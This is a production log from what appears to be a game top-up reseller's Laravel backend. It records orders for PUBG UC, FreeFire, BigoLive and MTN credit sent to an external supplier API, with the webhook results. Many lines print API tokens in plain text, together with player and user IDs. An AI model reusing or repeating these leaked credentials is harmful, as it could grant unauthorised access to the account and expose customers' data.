[2026-03-24 18:15:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 18:15:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 18:15:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 18:15:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 18:15:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 18:15:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 18:15:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 18:15:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 18:15:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 18:15:14] production.INFO: Constructing job for order: 179073  
[2026-03-24 18:15:15] production.INFO: Handling job for order: 179073  
[2026-03-24 18:15:15] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:15:15] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:15:15] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=9893995c-ea6b-4072-995a-cd0b0179f8fb&Player_ID=52255379681  
[2026-03-24 18:15:15] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=9893995c-ea6b-4072-995a-cd0b0179f8fb&Player_ID=52255379681","has_body":false} 
[2026-03-24 18:15:16] production.INFO: Operation sent successfully {"operation_id":163977,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SYIB-1774365316","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:15:16"}},"processed_data":{"order_number":"ORD-SYIB-1774365316","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 18:15:31] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-SYIB-1774365316","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:15:31] production.INFO: Processed webhook data (normalized) {"id":"ORD-SYIB-1774365316","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:15:31] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:15:31] production.INFO: SendAcceptReject: Notification queued {"user_id":366,"notification_type":"order_approved","reference_id":179073} 
[2026-03-24 18:15:31] production.INFO: Order updated successfully. Order ID: 179073, Status: completed  
[2026-03-24 18:15:31] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-SYIB-1774365316","status":"completed","codes_count":0} 
[2026-03-24 18:15:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 18:16:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01"} 
[2026-03-24 18:16:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01","total_operations":2,"sites_count":1} 
[2026-03-24 18:16:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-YNkOhY-1774365262","ORD-Xazjv-1774365275"]} 
[2026-03-24 18:16:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:16:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 18:16:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YNkOhY-1774365262","operation_id":163975,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 18:16:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YNkOhY-1774365262","operation_id":163975,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 18:16:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YNkOhY-1774365262","operation_id":163975,"count":2} 
[2026-03-24 18:16:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YNkOhY-1774365262","operation_id":163975,"count":2} 
[2026-03-24 18:16:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YNkOhY-1774365262","operation_id":163975,"user_id":1466,"notification_type":"order_approved","reference_id":179072} 
[2026-03-24 18:16:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YNkOhY-1774365262","operation_id":163975,"user_id":1488,"notification_type":"order_approved","reference_id":179071} 
[2026-03-24 18:16:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YNkOhY-1774365262","operation_id":163975,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:16:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YNkOhY-1774365262","operation_id":163975,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:16:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YNkOhY-1774365262","operation_id":163975,"processed":2,"errors":0} 
[2026-03-24 18:16:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YNkOhY-1774365262","operation_id":163975,"processed":2,"errors":0} 
[2026-03-24 18:16:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"RZZH0G41Uvpo89ebwViSrQxSkE4WWJOX","execution_time":"2026-03-24 18:16:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YNkOhY-1774365262","operation_id":163975} 
[2026-03-24 18:16:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1466  
[2026-03-24 18:16:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 18:16:13] production.INFO: Constructing job for order: 179074  
[2026-03-24 18:16:16] production.INFO: Handling job for order: 179074  
[2026-03-24 18:16:16] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:16:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:16:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/100/params?qty=1&uuid=2c444bff-8878-4ce7-be34-2e9e7f934b07&Player_ID=13724908020  
[2026-03-24 18:16:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/100/params?qty=1&uuid=2c444bff-8878-4ce7-be34-2e9e7f934b07&Player_ID=13724908020","has_body":false} 
[2026-03-24 18:16:17] production.INFO: Operation sent successfully {"operation_id":163978,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-WlM-1774365377","amount":0.75,"status":"processing","product":"حزمة ترقية المستوى 10","game":"FreeFire MemberShips","notes":[],"created_at":"2026-03-24 18:16:17"}},"processed_data":{"order_number":"ORD-WlM-1774365377","amount":0.75,"status":"processing","product":"حزمة ترقية المستوى 10","game":"FreeFire MemberShips"}} 
[2026-03-24 18:16:17] production.INFO: Constructing job for order: 179075  
[2026-03-24 18:16:18] production.INFO: Constructing job for order: 179076  
[2026-03-24 18:16:20] production.INFO: Handling job for order: 179075  
[2026-03-24 18:16:20] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:16:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:16:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=fa58f92b-7e25-4322-8f72-c4e5a839c209&Player_ID=51809756851  
[2026-03-24 18:16:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=fa58f92b-7e25-4322-8f72-c4e5a839c209&Player_ID=51809756851","has_body":false} 
[2026-03-24 18:16:21] production.INFO: Operation sent successfully {"operation_id":163979,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-15A83Hl-1774365381","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:16:21"}},"processed_data":{"order_number":"ORD-15A83Hl-1774365381","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 18:16:21] production.INFO: Handling job for order: 179076  
[2026-03-24 18:16:21] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:16:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:16:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/101/params?qty=1&uuid=3dcb1914-7439-4751-b2b7-e1a9bd5ba1e4&Player_ID=13724908020  
[2026-03-24 18:16:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/101/params?qty=1&uuid=3dcb1914-7439-4751-b2b7-e1a9bd5ba1e4&Player_ID=13724908020","has_body":false} 
[2026-03-24 18:16:22] production.INFO: Operation sent successfully {"operation_id":163980,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-tmRYG-1774365381","amount":0.75,"status":"processing","product":"حزمة ترقية المستوى 15","game":"FreeFire MemberShips","notes":[],"created_at":"2026-03-24 18:16:22"}},"processed_data":{"order_number":"ORD-tmRYG-1774365381","amount":0.75,"status":"processing","product":"حزمة ترقية المستوى 15","game":"FreeFire MemberShips"}} 
[2026-03-24 18:16:31] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-15A83Hl-1774365381","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:16:31] production.INFO: Processed webhook data (normalized) {"id":"ORD-15A83Hl-1774365381","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:16:31] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:16:31] production.INFO: SendAcceptReject: Notification queued {"user_id":50,"notification_type":"order_approved","reference_id":179075} 
[2026-03-24 18:16:31] production.INFO: Order updated successfully. Order ID: 179075, Status: completed  
[2026-03-24 18:16:31] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-15A83Hl-1774365381","status":"completed","codes_count":0} 
[2026-03-24 18:16:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 50  
[2026-03-24 18:16:38] production.INFO: Constructing job for order: 179077  
[2026-03-24 18:16:40] production.INFO: Handling job for order: 179077  
[2026-03-24 18:16:40] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:16:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:16:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/99/params?qty=1&uuid=18257a29-edce-46d7-a82d-92474d4a2bd5&Player_ID=13724908020  
[2026-03-24 18:16:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/99/params?qty=1&uuid=18257a29-edce-46d7-a82d-92474d4a2bd5&Player_ID=13724908020","has_body":false} 
[2026-03-24 18:16:41] production.INFO: Operation sent successfully {"operation_id":163981,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-kjrsvHc-1774365400","amount":0.450000000000000011102230246251565404236316680908203125,"status":"processing","product":"حزمة ترقية المستوى 6","game":"FreeFire MemberShips","notes":[],"created_at":"2026-03-24 18:16:41"}},"processed_data":{"order_number":"ORD-kjrsvHc-1774365400","amount":0.450000000000000011102230246251565404236316680908203125,"status":"processing","product":"حزمة ترقية المستوى 6","game":"FreeFire MemberShips"}} 
[2026-03-24 18:16:59] production.INFO: Constructing job for order: 179078  
[2026-03-24 18:17:02] production.INFO: Handling job for order: 179078  
[2026-03-24 18:17:02] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:17:02] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:17:02] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=439fad89-c45e-4c39-a238-d709574cd120&Player_ID=777022745  
[2026-03-24 18:17:02] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=439fad89-c45e-4c39-a238-d709574cd120&Player_ID=777022745","has_body":false} 
[2026-03-24 18:17:03] production.INFO: Operation sent successfully {"operation_id":163982,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vYgEeC-1774365422","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 18:17:03"}},"processed_data":{"order_number":"ORD-vYgEeC-1774365422","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 18:17:08] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-vYgEeC-1774365422","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 18:17:08] production.INFO: Processed webhook data (normalized) {"id":"ORD-vYgEeC-1774365422","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 18:17:08] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:17:08] production.INFO: SendAcceptReject: Notification queued {"user_id":1141,"notification_type":"order_approved","reference_id":179078} 
[2026-03-24 18:17:08] production.INFO: Order updated successfully. Order ID: 179078, Status: completed  
[2026-03-24 18:17:08] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-vYgEeC-1774365422","status":"completed","codes_count":0} 
[2026-03-24 18:17:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1141  
[2026-03-24 18:17:11] production.INFO: Constructing job for order: 179079  
[2026-03-24 18:17:12] production.INFO: Handling job for order: 179079  
[2026-03-24 18:17:12] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:17:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:17:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=637308da-de40-4ed7-8270-636f9e61bc58&Player_ID=5265658118  
[2026-03-24 18:17:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=637308da-de40-4ed7-8270-636f9e61bc58&Player_ID=5265658118","has_body":false} 
[2026-03-24 18:17:12] production.INFO: Operation sent successfully {"operation_id":163983,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-OhLL-1774365432","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:17:12"}},"processed_data":{"order_number":"ORD-OhLL-1774365432","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG"}} 
[2026-03-24 18:17:26] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-OhLL-1774365432","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:17:26] production.INFO: Processed webhook data (normalized) {"id":"ORD-OhLL-1774365432","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:17:26] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:17:26] production.INFO: SendAcceptReject: Notification queued {"user_id":52,"notification_type":"order_approved","reference_id":179079} 
[2026-03-24 18:17:26] production.INFO: Order updated successfully. Order ID: 179079, Status: completed  
[2026-03-24 18:17:26] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-OhLL-1774365432","status":"completed","codes_count":0} 
[2026-03-24 18:17:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 52  
[2026-03-24 18:18:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"iU8QrPPsosyAAtlJIWEcgcvcHWJboYZo","execution_time":"2026-03-24 18:18:03"} 
[2026-03-24 18:18:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"iU8QrPPsosyAAtlJIWEcgcvcHWJboYZo","execution_time":"2026-03-24 18:18:03","total_operations":3,"sites_count":1} 
[2026-03-24 18:18:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"iU8QrPPsosyAAtlJIWEcgcvcHWJboYZo","execution_time":"2026-03-24 18:18:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-WlM-1774365377","ORD-tmRYG-1774365381","ORD-kjrsvHc-1774365400"]} 
[2026-03-24 18:18:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"iU8QrPPsosyAAtlJIWEcgcvcHWJboYZo","execution_time":"2026-03-24 18:18:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:18:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"iU8QrPPsosyAAtlJIWEcgcvcHWJboYZo","execution_time":"2026-03-24 18:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 18:18:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"iU8QrPPsosyAAtlJIWEcgcvcHWJboYZo","execution_time":"2026-03-24 18:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kjrsvHc-1774365400","operation_id":163981} 
[2026-03-24 18:18:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"iU8QrPPsosyAAtlJIWEcgcvcHWJboYZo","execution_time":"2026-03-24 18:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:18:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"iU8QrPPsosyAAtlJIWEcgcvcHWJboYZo","execution_time":"2026-03-24 18:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WlM-1774365377","operation_id":163978} 
[2026-03-24 18:18:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"iU8QrPPsosyAAtlJIWEcgcvcHWJboYZo","execution_time":"2026-03-24 18:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WlM-1774365377","operation_id":163978,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 18:18:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"iU8QrPPsosyAAtlJIWEcgcvcHWJboYZo","execution_time":"2026-03-24 18:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WlM-1774365377","operation_id":163978,"processed":0,"errors":0} 
[2026-03-24 18:18:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"iU8QrPPsosyAAtlJIWEcgcvcHWJboYZo","execution_time":"2026-03-24 18:18:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WlM-1774365377","operation_id":163978} 
[2026-03-24 18:18:09] production.INFO: Constructing job for order: 179080  
[2026-03-24 18:18:10] production.INFO: Handling job for order: 179080  
[2026-03-24 18:18:10] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:18:10] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:18:10] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=969bba70-285f-4425-811e-7f595eaa1adc&Player_ID=5761163937  
[2026-03-24 18:18:10] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=969bba70-285f-4425-811e-7f595eaa1adc&Player_ID=5761163937","has_body":false} 
[2026-03-24 18:18:11] production.INFO: Operation sent successfully {"operation_id":163984,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-NyRtsoK-1774365490","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:18:11"}},"processed_data":{"order_number":"ORD-NyRtsoK-1774365490","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:18:22] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-NyRtsoK-1774365490","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:18:22] production.INFO: Processed webhook data (normalized) {"id":"ORD-NyRtsoK-1774365490","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:18:22] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:18:22] production.INFO: SendAcceptReject: Notification queued {"user_id":418,"notification_type":"order_approved","reference_id":179080} 
[2026-03-24 18:18:22] production.INFO: Order updated successfully. Order ID: 179080, Status: completed  
[2026-03-24 18:18:22] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-NyRtsoK-1774365490","status":"completed","codes_count":0} 
[2026-03-24 18:18:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 418  
[2026-03-24 18:18:23] production.INFO: Constructing job for order: 179081  
[2026-03-24 18:18:26] production.INFO: Handling job for order: 179081  
[2026-03-24 18:18:26] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:18:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:18:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=2390d151-25c3-4baa-a3e8-2e5b29976ba1&Player_ID=51514363244  
[2026-03-24 18:18:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=2390d151-25c3-4baa-a3e8-2e5b29976ba1&Player_ID=51514363244","has_body":false} 
[2026-03-24 18:18:26] production.INFO: Operation sent successfully {"operation_id":163985,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Va0w7-1774365506","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:18:26"}},"processed_data":{"order_number":"ORD-Va0w7-1774365506","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:18:38] production.INFO: Constructing job for order: 179082  
[2026-03-24 18:18:41] production.INFO: Handling job for order: 179082  
[2026-03-24 18:18:41] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:18:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:18:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=39c0ef6b-5864-437b-9d8c-8a82ce28d199&Player_ID=0953619972  
[2026-03-24 18:18:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=39c0ef6b-5864-437b-9d8c-8a82ce28d199&Player_ID=0953619972","has_body":false} 
[2026-03-24 18:18:42] production.INFO: Operation sent successfully {"operation_id":163986,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-snAC-1774365522","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 18:18:42"}},"processed_data":{"order_number":"ORD-snAC-1774365522","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 18:18:44] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Va0w7-1774365506","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:18:44] production.INFO: Processed webhook data (normalized) {"id":"ORD-Va0w7-1774365506","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:18:44] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:18:44] production.INFO: SendAcceptReject: Notification queued {"user_id":1172,"notification_type":"order_approved","reference_id":179081} 
[2026-03-24 18:18:44] production.INFO: Order updated successfully. Order ID: 179081, Status: completed  
[2026-03-24 18:18:44] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Va0w7-1774365506","status":"completed","codes_count":0} 
[2026-03-24 18:18:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1172  
[2026-03-24 18:18:52] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-WlM-1774365377","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:18:52] production.INFO: Processed webhook data (normalized) {"id":"ORD-WlM-1774365377","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:18:52] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:18:52] production.INFO: SendAcceptReject: Notification queued {"user_id":659,"notification_type":"order_approved","reference_id":179074} 
[2026-03-24 18:18:52] production.INFO: Order updated successfully. Order ID: 179074, Status: completed  
[2026-03-24 18:18:52] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-WlM-1774365377","status":"completed","codes_count":0} 
[2026-03-24 18:18:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 659  
[2026-03-24 18:19:03] production.INFO: Constructing job for order: 179083  
[2026-03-24 18:19:06] production.INFO: Constructing job for order: 179084  
[2026-03-24 18:19:06] production.INFO: Handling job for order: 179083  
[2026-03-24 18:19:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:19:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:19:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=30000&uuid=d4e02c32-26fd-4a11-96ad-64e995a3a4f4&Player_ID=588842845  
[2026-03-24 18:19:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=30000&uuid=d4e02c32-26fd-4a11-96ad-64e995a3a4f4&Player_ID=588842845","has_body":false} 
[2026-03-24 18:19:07] production.INFO: Operation sent successfully {"operation_id":163987,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-aRE-1774365547","amount":3.0240150000000003416289473534561693668365478515625,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 18:19:07"}},"processed_data":{"order_number":"ORD-aRE-1774365547","amount":3.0240150000000003416289473534561693668365478515625,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 18:19:07] production.INFO: Handling job for order: 179084  
[2026-03-24 18:19:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:19:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
